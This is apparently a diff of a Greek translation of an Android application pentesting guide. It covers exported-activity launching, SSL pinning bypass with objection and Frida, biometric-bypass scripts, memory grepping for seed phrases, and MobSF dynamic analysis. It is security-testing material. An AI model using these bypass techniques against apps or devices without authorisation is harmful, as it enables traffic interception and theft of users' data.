[**Μάθετε πώς να εκμεταλλευτείτε τις εξαγόμενες δραστηριότητες με το Drozer.**](drozer-tutorial/index.html#activities)
|
||||
|
||||
Μπορείτε επίσης να ξεκινήσετε μια εξαγόμενη δραστηριότητα από το adb:
|
||||
|
||||
- Το PackageName είναι com.example.demo
|
||||
- Το Exported ActivityName είναι com.example.test.MainActivity
|
||||
- PackageName είναι com.example.demo
|
||||
- Exported ActivityName είναι com.example.test.MainActivity
|
||||
```bash
|
||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
```
|
||||
**ΣΗΜΕΙΩΣΗ**: Το MobSF θα ανιχνεύσει ως κακόβουλη τη χρήση του _**singleTask/singleInstance**_ ως `android:launchMode` σε μια δραστηριότητα, αλλά λόγω [αυτού](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), προφανώς αυτό είναι επικίνδυνο μόνο σε παλιές εκδόσεις (API εκδόσεις < 21).
|
||||
|
||||
> [!ΣΥΜΒΟΥΛΗ]
|
||||
> [!TIP]
|
||||
> Σημειώστε ότι μια παράκαμψη εξουσιοδότησης δεν είναι πάντα ευπάθεια, θα εξαρτηθεί από το πώς λειτουργεί η παράκαμψη και ποιες πληροφορίες εκτίθενται.
|
||||
|
||||
**Διαρροή ευαίσθητων πληροφοριών**
|
||||
@ -335,7 +335,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
### Εκμετάλλευση Παρόχων Περιεχομένου - Πρόσβαση και χειρισμός ευαίσθητων πληροφοριών
|
||||
|
||||
[**Διαβάστε αυτό αν θέλετε να ανανεώσετε τι είναι ένας Πάροχος Περιεχομένου.**](android-applications-basics.md#content-provider)\
|
||||
Οι πάροχοι περιεχομένου χρησιμοποιούνται βασικά για να **μοιράζονται δεδομένα**. Εάν μια εφαρμογή έχει διαθέσιμους παρόχους περιεχομένου, μπορεί να είστε σε θέση να **εξάγετε ευαίσθητα** δεδομένα από αυτούς. Είναι επίσης ενδιαφέρον να δοκιμάσετε πιθανές **SQL injections** και **Path Traversals** καθώς μπορεί να είναι ευάλωτοι.
|
||||
Οι πάροχοι περιεχομένου χρησιμοποιούνται βασικά για να **μοιράζονται δεδομένα**. Εάν μια εφαρμογή έχει διαθέσιμους παρόχους περιεχομένου, μπορεί να είστε σε θέση να **εξάγετε ευαίσθητα** δεδομένα από αυτούς. Είναι επίσης ενδιαφέρον να δοκιμάσετε πιθανές **SQL injections** και **Path Traversals** καθώς θα μπορούσαν να είναι ευάλωτοι.
|
||||
|
||||
[**Μάθετε πώς να εκμεταλλευτείτε τους Παρόχους Περιεχομένου με το Drozer.**](drozer-tutorial/index.html#content-providers)
|
||||
|
||||
@ -352,7 +352,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
[**Διαβάστε αυτό αν θέλετε να ανανεώσετε τι είναι ένας Δέκτης Εκπομπών.**](android-applications-basics.md#broadcast-receivers)\
|
||||
Θυμηθείτε ότι οι ενέργειες ενός Δέκτη Εκπομπών ξεκινούν στη μέθοδο `onReceive`.
|
||||
|
||||
Ένας δέκτης εκπομπών θα περιμένει για έναν τύπο μηνύματος. Ανάλογα με το πώς ο δέκτης χειρίζεται το μήνυμα, μπορεί να είναι ευάλωτος.\
|
||||
Ένας δέκτης εκπομπών θα περιμένει για έναν τύπο μηνύματος. Ανάλογα με το πώς ο δέκτης χειρίζεται το μήνυμα, θα μπορούσε να είναι ευάλωτος.\
|
||||
[**Μάθετε πώς να εκμεταλλευτείτε τους Δέκτες Εκπομπών με το Drozer.**](#exploiting-broadcast-receivers)
|
||||
|
||||
### **Εκμετάλλευση Σχημάτων / Deep links**
|
||||
@ -390,7 +390,7 @@ _Σημειώστε ότι μπορείτε να **παραλείψετε το
|
||||
|
||||
### Αποτυχίες Επιθεώρησης και Επαλήθευσης Στρώματος Μεταφοράς
|
||||
|
||||
- **Οι πιστοποιήσεις δεν ελέγχονται πάντα σωστά** από τις εφαρμογές Android. Είναι συνηθισμένο αυτές οι εφαρμογές να παραβλέπουν προειδοποιήσεις και να αποδέχονται αυτο-υπογεγραμμένες πιστοποιήσεις ή, σε ορισμένες περιπτώσεις, να επιστρέφουν στη χρήση συνδέσεων HTTP.
|
||||
- **Οι πιστοποιήσεις δεν ελέγχονται πάντα σωστά** από τις εφαρμογές Android. Είναι συνηθισμένο αυτές οι εφαρμογές να παραβλέπουν προειδοποιήσεις και να αποδέχονται αυτο-υπογεγραμμένες πιστοποιήσεις ή, σε ορισμένες περιπτώσεις, να επιστρέφουν στη χρήση HTTP συνδέσεων.
|
||||
- **Οι διαπραγματεύσεις κατά τη διάρκεια του SSL/TLS handshake είναι μερικές φορές αδύναμες**, χρησιμοποιώντας ανασφαλείς κρυπτογραφικές σουίτες. Αυτή η ευπάθεια καθιστά τη σύνδεση ευάλωτη σε επιθέσεις man-in-the-middle (MITM), επιτρέποντας στους επιτιθέμενους να αποκρυπτογραφήσουν τα δεδομένα.
|
||||
- **Διαρροή ιδιωτικών πληροφοριών** είναι ένας κίνδυνος όταν οι εφαρμογές πιστοποιούν χρησιμοποιώντας ασφαλείς διαύλους αλλά στη συνέχεια επικοινωνούν μέσω μη ασφαλών διαύλων για άλλες συναλλαγές. Αυτή η προσέγγιση αποτυγχάνει να προστατεύσει ευαίσθητα δεδομένα, όπως cookies συνεδρίας ή λεπτομέρειες χρηστών, από την παρεμβολή κακόβουλων οντοτήτων.
|
||||
|
||||
@ -406,7 +406,7 @@ _Σημειώστε ότι μπορείτε να **παραλείψετε το
|
||||
|
||||
Για να επιθεωρήσετε την κίνηση HTTP, είναι απαραίτητο να **εγκαταστήσετε το πιστοποιητικό του εργαλείου proxy** (π.χ., Burp). Χωρίς την εγκατάσταση αυτού του πιστοποιητικού, η κρυπτογραφημένη κίνηση μπορεί να μην είναι ορατή μέσω του proxy. Για οδηγίες σχετικά με την εγκατάσταση ενός προσαρμοσμένου πιστοποιητικού CA, [**κάντε κλικ εδώ**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
|
||||
Οι εφαρμογές που στοχεύουν **API Level 24 και άνω** απαιτούν τροποποιήσεις στη Διαμόρφωση Ασφαλείας Δικτύου για να αποδεχτούν το πιστοποιητικό CA του proxy. Αυτό το βήμα είναι κρίσιμο για την επιθεώρηση κρυπτογραφημένης κίνησης. Για οδηγίες σχετικά με την τροποποίηση της Διαμόρφωσης Ασφαλείας Δικτύου, [**ανατρέξτε σε αυτό το σεμινάριο**](make-apk-accept-ca-certificate.md).
|
||||
Οι εφαρμογές που στοχεύουν **API Level 24 και άνω** απαιτούν τροποποιήσεις στη Ρύθμιση Ασφαλείας Δικτύου για να αποδεχτούν το πιστοποιητικό CA του proxy. Αυτό το βήμα είναι κρίσιμο για την επιθεώρηση κρυπτογραφημένης κίνησης. Για οδηγίες σχετικά με την τροποποίηση της Ρύθμισης Ασφαλείας Δικτύου, [**ανατρέξτε σε αυτό το σεμινάριο**](make-apk-accept-ca-certificate.md).
|
||||
|
||||
Αν χρησιμοποιείται **Flutter** πρέπει να ακολουθήσετε τις οδηγίες σε [**αυτή τη σελίδα**](flutter.md). Αυτό συμβαίνει γιατί, απλά προσθέτοντας το πιστοποιητικό στο κατάστημα δεν θα λειτουργήσει καθώς το Flutter έχει τη δική του λίστα έγκυρων CA.
|
||||
|
||||
@ -414,20 +414,20 @@ _Σημειώστε ότι μπορείτε να **παραλείψετε το
|
||||
|
||||
Όταν έχει εφαρμοστεί το SSL Pinning, η παράκαμψή του γίνεται απαραίτητη για την επιθεώρηση της κίνησης HTTPS. Διατίθενται διάφορες μέθοδοι για αυτό το σκοπό:
|
||||
|
||||
- Αυτόματα **τροποποιήστε** το **apk** για να **παράκαμψετε** το SSLPinning με [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Το καλύτερο πλεονέκτημα αυτής της επιλογής είναι ότι δεν θα χρειαστείτε root για να παρακάμψετε το SSL Pinning, αλλά θα χρειαστεί να διαγράψετε την εφαρμογή και να εγκαταστήσετε τη νέα, και αυτό δεν θα λειτουργήσει πάντα.
|
||||
- Αυτόματα **τροποποιήστε** το **apk** για να **παρακάμψετε** το SSLPinning με [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Το καλύτερο πλεονέκτημα αυτής της επιλογής είναι ότι δεν θα χρειαστείτε root για να παρακάμψετε το SSL Pinning, αλλά θα χρειαστεί να διαγράψετε την εφαρμογή και να εγκαταστήσετε τη νέα, και αυτό δεν θα λειτουργήσει πάντα.
|
||||
- Μπορείτε να χρησιμοποιήσετε **Frida** (που συζητείται παρακάτω) για να παρακάμψετε αυτή την προστασία. Εδώ έχετε έναν οδηγό για τη χρήση Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- Μπορείτε επίσης να προσπαθήσετε να **παράκαμψετε αυτόματα το SSL Pinning** χρησιμοποιώντας [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- Μπορείτε επίσης να προσπαθήσετε να **παράκαμψετε αυτόματα το SSL Pinning** χρησιμοποιώντας **MobSF dynamic analysis** (εξηγείται παρακάτω)
|
||||
- Μπορείτε επίσης να προσπαθήσετε να **παρακάμψετε αυτόματα το SSL Pinning** χρησιμοποιώντας [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- Μπορείτε επίσης να προσπαθήσετε να **παρακάμψετε αυτόματα το SSL Pinning** χρησιμοποιώντας **MobSF dynamic analysis** (εξηγείται παρακάτω)
|
||||
- Αν νομίζετε ότι υπάρχει κάποια κίνηση που δεν καταγράφετε, μπορείτε να προσπαθήσετε να **προωθήσετε την κίνηση στο burp χρησιμοποιώντας iptables**. Διαβάστε αυτό το blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
|
||||
#### Αναζητώντας Κοινές Ευπάθειες Ιστού
|
||||
|
||||
Είναι σημαντικό να αναζητήσετε επίσης κοινές ευπάθειες ιστού μέσα στην εφαρμογή. Λεπτομερείς πληροφορίες σχετικά με την αναγνώριση και την αντιμετώπιση αυτών των ευπαθειών είναι πέρα από το πεδίο αυτής της περίληψης αλλά καλύπτονται εκτενώς αλλού.
|
||||
Είναι σημαντικό να αναζητήσετε επίσης κοινές ευπάθειες ιστού μέσα στην εφαρμογή. Λεπτομερείς πληροφορίες σχετικά με την αναγνώριση και την αντιμετώπιση αυτών των ευπαθειών είναι πέρα από το πεδίο αυτής της σύνοψης αλλά καλύπτονται εκτενώς αλλού.
|
||||
|
||||
### Frida
|
||||
|
||||
[Frida](https://www.frida.re) είναι ένα εργαλείο δυναμικής οργάνωσης για προγραμματιστές, αναλυτές αντίστροφης μηχανικής και ερευνητές ασφαλείας.\
|
||||
**Μπορείτε να αποκτήσετε πρόσβαση σε εκτελούμενες εφαρμογές και να συνδέσετε μεθόδους σε πραγματικό χρόνο για να αλλάξετε τη συμπεριφορά, να αλλάξετε τιμές, να εξάγετε τιμές, να εκτελέσετε διαφορετικό κώδικα...**\
|
||||
**Μπορείτε να έχετε πρόσβαση σε εκτελούμενες εφαρμογές και να συνδέσετε μεθόδους σε πραγματικό χρόνο για να αλλάξετε τη συμπεριφορά, να αλλάξετε τιμές, να εξάγετε τιμές, να εκτελέσετε διαφορετικό κώδικα...**\
|
||||
Αν θέλετε να κάνετε pentest σε εφαρμογές Android πρέπει να ξέρετε πώς να χρησιμοποιείτε το Frida.
|
||||
|
||||
- Μάθετε πώς να χρησιμοποιείτε το Frida: [**Frida tutorial**](frida-tutorial/index.html)
|
||||
@ -455,7 +455,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
|
||||
```
|
||||
### **Ευαίσθητα δεδομένα στο Keystore**
|
||||
|
||||
Στο Android, το Keystore είναι το καλύτερο μέρος για να αποθηκεύσετε ευαίσθητα δεδομένα, ωστόσο, με αρκετά δικαιώματα είναι ακόμα **δυνατό να αποκτήσετε πρόσβαση σε αυτό**. Καθώς οι εφαρμογές τείνουν να αποθηκεύουν εδώ **ευαίσθητα δεδομένα σε καθαρό κείμενο**, οι pentests θα πρέπει να ελέγχουν γι' αυτό ως χρήστης root ή κάποιος με φυσική πρόσβαση στη συσκευή θα μπορούσε να είναι σε θέση να κλέψει αυτά τα δεδομένα.
|
||||
Στο Android, το Keystore είναι το καλύτερο μέρος για να αποθηκεύσετε ευαίσθητα δεδομένα, ωστόσο, με αρκετά δικαιώματα είναι ακόμα **δυνατό να αποκτηθεί πρόσβαση σε αυτό**. Καθώς οι εφαρμογές τείνουν να αποθηκεύουν εδώ **ευαίσθητα δεδομένα σε καθαρό κείμενο**, οι pentests θα πρέπει να ελέγχουν για αυτό ως χρήστης root ή κάποιος με φυσική πρόσβαση στη συσκευή θα μπορούσε να είναι σε θέση να κλέψει αυτά τα δεδομένα.
|
||||
|
||||
Ακόμα και αν μια εφαρμογή αποθηκεύει δεδομένα στο keystore, τα δεδομένα θα πρέπει να είναι κρυπτογραφημένα.
|
||||
|
||||
@ -463,7 +463,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
|
||||
```bash
|
||||
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
|
||||
```
|
||||
### **Αναγνώριση Δακτυλικών Αποτυπωμάτων/Βιομετρική Παράκαμψη**
|
||||
### **Παράκαμψη Δακτυλικών Αποτυπωμάτων/Βιομετρικών**
|
||||
|
||||
Χρησιμοποιώντας το παρακάτω σενάριο Frida, θα μπορούσε να είναι δυνατό να **παρακαμφθεί η αυθεντικοποίηση δακτυλικών αποτυπωμάτων** που ενδέχεται να εκτελούν οι εφαρμογές Android προκειμένου να **προστατεύσουν ορισμένες ευαίσθητες περιοχές:**
|
||||
```bash
|
||||
@ -503,7 +503,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
Πιθανώς γνωρίζετε για αυτούς τους τύπους ευπαθειών από τον Ιστό. Πρέπει να είστε ιδιαίτερα προσεκτικοί με αυτές τις ευπάθειες σε μια εφαρμογή Android:
|
||||
|
||||
- **SQL Injection:** Όταν ασχολείστε με δυναμικά queries ή Content-Providers, βεβαιωθείτε ότι χρησιμοποιείτε παραμετροποιημένα queries.
|
||||
- **JavaScript Injection (XSS):** Ελέγξτε ότι η υποστήριξη JavaScript και Plugin είναι απενεργοποιημένη για οποιαδήποτε WebViews (απενεργοποιημένη από προεπιλογή). [Περισσότερες πληροφορίες εδώ](webview-attacks.md#javascript-enabled).
|
||||
- **JavaScript Injection (XSS):** Επαληθεύστε ότι η υποστήριξη JavaScript και Plugin είναι απενεργοποιημένη για οποιαδήποτε WebViews (απενεργοποιημένη από προεπιλογή). [Περισσότερες πληροφορίες εδώ](webview-attacks.md#javascript-enabled).
|
||||
- **Τοπική Συμπερίληψη Αρχείων:** Οι WebViews θα πρέπει να έχουν απενεργοποιημένη την πρόσβαση στο σύστημα αρχείων (ενεργοποιημένη από προεπιλογή) - `(webview.getSettings().setAllowFileAccess(false);)`. [Περισσότερες πληροφορίες εδώ](webview-attacks.md#javascript-enabled).
|
||||
- **Διαρκή cookies**: Σε πολλές περιπτώσεις, όταν η εφαρμογή android ολοκληρώνει τη συνεδρία, το cookie δεν ανακαλείται ή μπορεί ακόμη και να αποθηκευτεί στον δίσκο.
|
||||
- [**Secure Flag** στα cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
|
||||
@ -523,46 +523,46 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
docker pull opensecurity/mobile-security-framework-mobsf
|
||||
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
```
|
||||
Notice that MobSF can analyse **Android**(apk)**, IOS**(ipa) **and Windows**(apx) applications (_Windows applications must be analyzed from a MobSF installed in a Windows host_).\
|
||||
Also, if you create a **ZIP** file with the source code if an **Android** or an **IOS** app (go to the root folder of the application, select everything and create a ZIPfile), it will be able to analyse it also.
|
||||
Παρατηρήστε ότι το MobSF μπορεί να αναλύσει **Android**(apk)**, IOS**(ipa) **και Windows**(apx) εφαρμογές (_Οι εφαρμογές Windows πρέπει να αναλύονται από ένα MobSF εγκατεστημένο σε έναν υπολογιστή Windows_).\
|
||||
Επίσης, αν δημιουργήσετε ένα **ZIP** αρχείο με τον πηγαίο κώδικα μιας **Android** ή **IOS** εφαρμογής (πηγαίνετε στον ριζικό φάκελο της εφαρμογής, επιλέξτε τα πάντα και δημιουργήστε ένα ZIP αρχείο), θα μπορέσει να το αναλύσει επίσης.
|
||||
|
||||
MobSF also allows you to **diff/Compare** analysis and to integrate **VirusTotal** (you will need to set your API key in _MobSF/settings.py_ and enable it: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). You can also set `VT_UPLOAD` to `False`, then the **hash** will be **upload** instead of the file.
|
||||
Το MobSF επιτρέπει επίσης την **diff/Compare** ανάλυση και την ενσωμάτωση του **VirusTotal** (θα χρειαστεί να ρυθμίσετε το API key σας στο _MobSF/settings.py_ και να το ενεργοποιήσετε: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). Μπορείτε επίσης να ρυθμίσετε το `VT_UPLOAD` σε `False`, τότε το **hash** θα **ανεβεί** αντί για το αρχείο.
|
||||
|
||||
### Assisted Dynamic analysis with MobSF
|
||||
### Βοηθητική Δυναμική ανάλυση με το MobSF
|
||||
|
||||
**MobSF** can also be very helpful for **dynamic analysis** in **Android**, but in that case you will need to install MobSF and **genymotion** in your host (a VM or Docker won't work). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\
|
||||
The **MobSF dynamic analyser** can:
|
||||
**MobSF** μπορεί επίσης να είναι πολύ χρήσιμο για **δυναμική ανάλυση** σε **Android**, αλλά σε αυτή την περίπτωση θα χρειαστεί να εγκαταστήσετε το MobSF και το **genymotion** στον υπολογιστή σας (μια VM ή Docker δεν θα λειτουργήσει). _Σημείωση: Πρέπει να **ξεκινήσετε πρώτα μια VM στο genymotion** και **μετά το MobSF.**_\
|
||||
Ο **δυναμικός αναλυτής MobSF** μπορεί να:
|
||||
|
||||
- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). All of this is done automatically except for the screenshots, you need to press when you want a screenshot or you need to press "**Exported Activity Tester**" to obtain screenshots of all the exported activities.
|
||||
- **Dump application data** (URLs, logs, clipboard, screenshots που κάνατε εσείς, screenshots που έγιναν από τον "**Exported Activity Tester**", emails, SQLite βάσεις δεδομένων, XML αρχεία και άλλα δημιουργημένα αρχεία). Όλα αυτά γίνονται αυτόματα εκτός από τα screenshots, πρέπει να πατήσετε όταν θέλετε ένα screenshot ή πρέπει να πατήσετε "**Exported Activity Tester**" για να αποκτήσετε screenshots όλων των εξαγόμενων δραστηριοτήτων.
|
||||
- Capture **HTTPS traffic**
|
||||
- Use **Frida** to obtain **runtime** **information**
|
||||
|
||||
From android **versions > 5**, it will **automatically start Frida** and will set global **proxy** settings to **capture** traffic. It will only capture traffic from the tested application.
|
||||
Από τις εκδόσεις Android **> 5**, θα **ξεκινήσει αυτόματα το Frida** και θα ρυθμίσει τις παγκόσμιες ρυθμίσεις **proxy** για να **καταγράψει** την κίνηση. Θα καταγράψει μόνο την κίνηση από την εφαρμογή που δοκιμάζεται.
|
||||
|
||||
**Frida**
|
||||
|
||||
By default, it will also use some Frida Scripts to **bypass SSL pinning**, **root detection** and **debugger detection** and to **monitor interesting APIs**.\
|
||||
MobSF can also **invoke exported activities**, grab **screenshots** of them and **save** them for the report.
|
||||
Από προεπιλογή, θα χρησιμοποιήσει επίσης κάποια Frida Scripts για να **παρακάμψει το SSL pinning**, **ανίχνευση root** και **ανίχνευση debugger** και για να **παρακολουθήσει ενδιαφέροντα APIs**.\
|
||||
Το MobSF μπορεί επίσης να **καλέσει εξαγόμενες δραστηριότητες**, να τραβήξει **screenshots** από αυτές και να τις **αποθηκεύσει** για την αναφορά.
|
||||
|
||||
To **start** the dynamic testing press the green bottom: "**Start Instrumentation**". Press the "**Frida Live Logs**" to see the logs generated by the Frida scripts and "**Live API Monitor**" to see all the invocation to hooked methods, arguments passed and returned values (this will appear after pressing "Start Instrumentation").\
|
||||
MobSF also allows you to load your own **Frida scripts** (to send the results of your Friday scripts to MobSF use the function `send()`). It also has **several pre-written scripts** you can load (you can add more in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), just **select them**, press "**Load**" and press "**Start Instrumentation**" (you will be able to see the logs of that scripts inside "**Frida Live Logs**").
|
||||
Για να **ξεκινήσετε** τη δυναμική δοκιμή πατήστε το πράσινο κουμπί: "**Start Instrumentation**". Πατήστε το "**Frida Live Logs**" για να δείτε τα logs που δημιουργούνται από τα Frida scripts και "**Live API Monitor**" για να δείτε όλες τις κλήσεις σε συνδεδεμένες μεθόδους, τα ορίσματα που περνιούνται και τις επιστρεφόμενες τιμές (αυτό θα εμφανιστεί μετά την πίεση του "Start Instrumentation").\
|
||||
Το MobSF επιτρέπει επίσης να φορτώσετε τα δικά σας **Frida scripts** (για να στείλετε τα αποτελέσματα των scripts σας στο MobSF χρησιμοποιήστε τη λειτουργία `send()`). Έχει επίσης **πολλά προ-γραμμένα scripts** που μπορείτε να φορτώσετε (μπορείτε να προσθέσετε περισσότερα στο `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), απλά **επιλέξτε τα**, πατήστε "**Load**" και πατήστε "**Start Instrumentation**" (θα μπορείτε να δείτε τα logs αυτών των scripts μέσα στο "**Frida Live Logs**").
|
||||
|
||||
.png>)
|
||||
|
||||
Moreover, you have some Auxiliary Frida functionalities:
|
||||
Επιπλέον, έχετε κάποιες βοηθητικές λειτουργίες Frida:
|
||||
|
||||
- **Enumerate Loaded Classes**: It will print all the loaded classes
|
||||
- **Capture Strings**: It will print all the capture strings while using the application (super noisy)
|
||||
- **Capture String Comparisons**: Could be very useful. It will **show the 2 strings being compared** and if the result was True or False.
|
||||
- **Enumerate Class Methods**: Put the class name (like "java.io.File") and it will print all the methods of the class.
|
||||
- **Search Class Pattern**: Search classes by pattern
|
||||
- **Trace Class Methods**: **Trace** a **whole class** (see inputs and outputs of all methods of th class). Remember that by default MobSF traces several interesting Android Api methods.
|
||||
- **Enumerate Loaded Classes**: Θα εκτυπώσει όλες τις φορτωμένες κλάσεις
|
||||
- **Capture Strings**: Θα εκτυπώσει όλες τις καταγεγραμμένες συμβολοσειρές κατά τη χρήση της εφαρμογής (πολύ θορυβώδες)
|
||||
- **Capture String Comparisons**: Μπορεί να είναι πολύ χρήσιμο. Θα **δείξει τις 2 συμβολοσειρές που συγκρίνονται** και αν το αποτέλεσμα ήταν True ή False.
|
||||
- **Enumerate Class Methods**: Βάλτε το όνομα της κλάσης (όπως "java.io.File") και θα εκτυπώσει όλες τις μεθόδους της κλάσης.
|
||||
- **Search Class Pattern**: Αναζητήστε κλάσεις κατά μοτίβο
|
||||
- **Trace Class Methods**: **Trace** μια **ολόκληρη κλάση** (δείτε τις εισόδους και εξόδους όλων των μεθόδων της κλάσης). Θυμηθείτε ότι από προεπιλογή το MobSF παρακολουθεί πολλές ενδιαφέρουσες μεθόδους Android Api.
|
||||
|
||||
Once you have selected the auxiliary module you want to use you need to press "**Start Intrumentation**" and you will see all the outputs in "**Frida Live Logs**".
|
||||
Αφού επιλέξετε το βοηθητικό module που θέλετε να χρησιμοποιήσετε, πρέπει να πατήσετε "**Start Intrumentation**" και θα δείτε όλες τις εξόδους στο "**Frida Live Logs**".
|
||||
|
||||
**Shell**
|
||||
|
||||
Mobsf also brings you a shell with some **adb** commands, **MobSF commands**, and common **shell** **commands** at the bottom of the dynamic analysis page. Some interesting commands:
|
||||
Το MobSF σας παρέχει επίσης ένα shell με κάποιες **adb** εντολές, **MobSF commands**, και κοινές **shell** **εντολές** στο κάτω μέρος της σελίδας δυναμικής ανάλυσης. Ορισμένες ενδιαφέρουσες εντολές:
|
||||
```bash
|
||||
help
|
||||
shell ls
|
||||
@ -598,7 +598,7 @@ receivers
|
||||
|
||||
### [Qark](https://github.com/linkedin/qark)
|
||||
|
||||
Αυτό το εργαλείο έχει σχεδιαστεί για να αναζητά αρκετές **ευπάθειες σχετικές με την ασφάλεια εφαρμογών Android**, είτε στον **κώδικα πηγής** είτε σε **πακεταρισμένα APKs**. Το εργαλείο είναι επίσης **ικανό να δημιουργεί ένα "Proof-of-Concept" deployable APK** και **εντολές ADB**, για να εκμεταλλευτεί κάποιες από τις ευπάθειες που βρέθηκαν (Εκτεθειμένες δραστηριότητες, intents, tapjacking...). Όπως και με το Drozer, δεν χρειάζεται να κάνετε root τη συσκευή δοκιμής.
|
||||
Αυτό το εργαλείο έχει σχεδιαστεί για να αναζητά πολλές **ευπάθειες σχετικές με την ασφάλεια εφαρμογών Android**, είτε στον **κώδικα πηγής** είτε σε **πακεταρισμένα APKs**. Το εργαλείο είναι επίσης **ικανό να δημιουργεί ένα "Proof-of-Concept" deployable APK** και **ADB εντολές**, για να εκμεταλλευτεί κάποιες από τις ευπάθειες που βρέθηκαν (Εκτεθειμένες δραστηριότητες, intents, tapjacking...). Όπως και με το Drozer, δεν υπάρχει ανάγκη να ριζώσετε τη συσκευή δοκιμής.
|
||||
```bash
|
||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||
qark --apk path/to/my.apk
|
||||
@ -668,7 +668,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
- Αναλύει APKs χρησιμοποιώντας: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
|
||||
- Εξάγει ιδιωτικές πληροφορίες από το APK χρησιμοποιώντας regexps.
|
||||
- Αναλύει το Manifest.
|
||||
- Αναλύει βρέθηκαν τομείς χρησιμοποιώντας: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) και [whatweb](https://github.com/urbanadventurer/WhatWeb)
|
||||
- Αναλύει βρεθέντα domains χρησιμοποιώντας: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) και [whatweb](https://github.com/urbanadventurer/WhatWeb)
|
||||
- Αποκωδικοποιεί APK μέσω [apk-deguard.com](http://www.apk-deguard.com)
|
||||
|
||||
### Koodous
|
||||
@ -699,7 +699,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
|
||||
### [DeGuard](http://apk-deguard.com)
|
||||
|
||||
**DeGuard αντιστρέφει τη διαδικασία απόκρυψης που εκτελούν τα εργαλεία απόκρυψης Android. Αυτό επιτρέπει πολλές αναλύσεις ασφάλειας, συμπεριλαμβανομένης της επιθεώρησης κώδικα και της πρόβλεψης βιβλιοθηκών.**
|
||||
**Το DeGuard αντιστρέφει τη διαδικασία απόκρυψης που εκτελούν τα εργαλεία απόκρυψης του Android. Αυτό επιτρέπει πολλές αναλύσεις ασφάλειας, συμπεριλαμβανομένης της επιθεώρησης κώδικα και της πρόβλεψης βιβλιοθηκών.**
|
||||
|
||||
Μπορείτε να ανεβάσετε ένα αποκρυπτογραφημένο APK στην πλατφόρμα τους.
|
||||
|
||||
@ -713,7 +713,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
|
||||
### [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
||||
Το APKiD σας δίνει πληροφορίες για **πώς δημιουργήθηκε ένα APK**. Αναγνωρίζει πολλούς **μεταγλωττιστές**, **πακετάρες**, **αποκρυπτογραφητές** και άλλα περίεργα πράγματα. Είναι το [_PEiD_](https://www.aldeid.com/wiki/PEiD) για Android.
|
||||
Το APKiD σας δίνει πληροφορίες για **πώς δημιουργήθηκε ένα APK**. Αναγνωρίζει πολλούς **μεταγλωττιστές**, **πακεταριστές**, **αποκρυπτογραφητές** και άλλα περίεργα πράγματα. Είναι το [_PEiD_](https://www.aldeid.com/wiki/PEiD) για το Android.
|
||||
|
||||
### Manual
|
||||
|
||||
|
@ -2,10 +2,10 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Το Shizuku είναι μια υπηρεσία ανοιχτού κώδικα που **δημιουργεί μια προνομιούχα διαδικασία Java χρησιμοποιώντας το `app_process`** και εκθέτει επιλεγμένα **Android system APIs μέσω Binder**. Επειδή η διαδικασία εκκινείται με τις ίδιες **ικανότητες UID `shell` που χρησιμοποιεί το ADB**, οποιαδήποτε εφαρμογή (ή τερματικό) που συνδέεται στη εξαγόμενη διεπαφή AIDL μπορεί να εκτελέσει πολλές ενέργειες που κανονικά απαιτούν **`WRITE_SECURE_SETTINGS`, `INSTALL_PACKAGES`, είσοδο/έξοδο αρχείων μέσα στο `/data`,** κ.λπ. – **χωρίς να χρειάζεται να γίνει root στη συσκευή**.
|
||||
